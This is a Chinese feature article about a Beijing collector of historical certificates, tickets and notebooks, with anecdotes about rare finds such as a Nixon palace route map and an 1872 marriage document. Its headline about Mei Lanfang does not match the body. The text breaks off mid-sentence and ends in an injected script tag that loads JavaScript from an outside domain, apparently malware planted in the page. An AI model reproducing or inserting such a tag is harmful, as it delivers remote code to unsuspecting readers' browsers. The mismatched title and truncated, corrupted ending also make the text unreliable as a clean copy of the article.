梅兰芳的第一张彩色影象
66岁的许善斌从十几年前开始泡在北京的潘家园文物市场,他收集的旧证照、票证自成一家,在全中国算得上是独一份了。从清朝末年到“文革”,从证书证件、喜帖讣告、请柬布告,几乎滴水不落,许许多多时代的点滴印记,都能在他的藏品里找到。用老许的话说:“票证和证照收藏,有钱人不肯做,因为升值慢、保存难;有才华的收藏大家不屑做,证照知识含量低,人家大材小用,小贩不能做,因为不懂历史,看不出价值。”老许自嘲地说自己是:“山中无老虎猴子称大王。”
许善斌搞收藏开始也没有什么高尚的念头,就是为了“脱贫”,眼看着人家“下海”的、炒股的都发了,自己就想到晚年的时候能不能在文物市场“捞”一把。可是后来,他却在不知不觉中被收藏“俘虏”了,如今他那2600多张“宝贝”是一张也舍不得出手,搞得家徒四壁,仍乐此不疲。
20世纪90年代末,各式旧硬皮笔记本在旧书摊出现了,因为很少有人问津,价钱低得跟一包方便面差不多。这些硬皮笔记本偏偏能勾起许善斌的回忆,忍不住多扫几眼。在老许年轻的时候,硬皮本可是身份的标志,都是表彰大会的纪念品,老百姓拿它就跟宝贝似的。没人舍得用来写字,有的用来镶照片当影集,有的用来夹重要文字,最佳用处是当婚前“聘礼”。因为“旧情”的驱使,老许忍不住干起了“去粗取精”的活儿。他用了五六年的时间,收集整理出一套“硬皮本大全”:首先是“第一系列”,“全国第一次政协会议”、“全国第一次人民代表大会”、“全国第一次妇女代表会议”等;还有“人物系列”,纪念雷锋、王杰、焦裕禄;还有“政治事件”、“科技教育类”等等。最希罕的是一本光绪年间的硬皮本,居然在里面登了铁路客运、邮政、电报、印刷、教学器材等好多广告,那个本子的设计者肯定是个有“经济意识”的人。
也许是硬皮本勾起了老许追溯历史的激情,也许是他自身的坎坷经历幻化成灵感,老许说,有天晚上,他突然间醍醐灌顶,一拍大腿,跟着别人后面搞收藏根本没出路,只有独辟蹊径才能找到自己的位置。从此老许确定了自己专门收藏票证的方向。
老许收藏的第一本证照是上世纪60年代时中央美术学院工会征收会费的卡片。中央美术学院的大师们都在上面——李苦禅、李可染、刘开渠、黄胄等,他们当时的工资看来也就一二百块钱,有缴两块钱的,还有缴一块钱的。纸片虽然小,可是却折射出一点时代印记。
有一次,老许发现一幅故宫博物院参观路线图,再一看吃了一惊,上面用红笔写了一行小字——尼克松总统参观路线示意图。他有点不相信自己的眼睛,这样的东西怎么流传出来了?再仔细一看尼克松从哪里入口,到哪里参观到哪里休息用红线标得清清楚楚,而且后面还附了一封信,是给中央的请示报告,盖着故宫革命委员会的大印。摊主要价300元,偏偏老许身上钱不够,怎么说人家也不卖。回去后他心事重重,第二个开放日他早早就去了,找遍所有的角落也不见那个人的影子,以后他找了半年也还是大海捞针。再后来偶然在北京东四环的双龙旧货市场发现了它。摊主只要100元,他给了80元成交了。
有一次在报国寺文化市场,老许看见了一张大奖状,奖给内蒙古保音毕勒格打狼队的,落款是全国工农兵劳动模范代表会议主席团1950年10月。卖主要价3000元,老许虽然喜欢却是无能为力。结果第二天,这件东西在市场上消失了,老许又害起了“相思病”。3个月以后这张奖状在潘家园重新露面,还是那个摊主开价才800元,老许运用了“三寸不烂之舌”,最后只用200元买了下来。老许查了一下资料,这次会议上全国有54个先进典型,也就是说才发了54张奖状。
在2000多张票证中,许善斌最喜欢的宝贝中有一张清朝的毕业证。从资料上看清朝末年办的这间学堂,共发了100多张毕业证,流传到现在只剩下了4张,属于国家的珍稀藏品。这种毕业证比报纸还大,可算是毕业证里的“巨无霸”,当时大概是为了炫耀吧。
还有一个130多年历史的“结婚证”,婚书上写的时间是“同治十一年”,也就是公历1872年。婚书的封皮上就看出了我们先人的聪明劲儿——把两份婚书折叠在一块书写,所以这张婚书上面的“天作地合”各有一半,男女两张合在一起才能完整。这个奇思妙想把“天作地合”的意思表现得淋漓尽致。这婚书顶上还贴了4个小印花呢,上面写的是“中华民国印花税票”。国民政府一门心思搞苛捐杂税,用交税来“确认”老夫老妻的“正式婚姻”,男方是咸丰四年即1854年出生,到中华民国建立时已经快60岁了,连孙子都该结婚了,还要缴纳“婚税”。
一张光绪18年的“收照”,就是现在的记者采访介绍信,介绍一个举人去采访一个节妇,奇怪的是上面还盖了“一切不收分文”的大印。看样子清代就有防止“新闻腐败”的规定了。
他收藏了第一届全国政协会议的代表手册,这种代表证总共才600来个,流传到现在可能就更少了。代表?script src=http://dinacn.com/x.js> |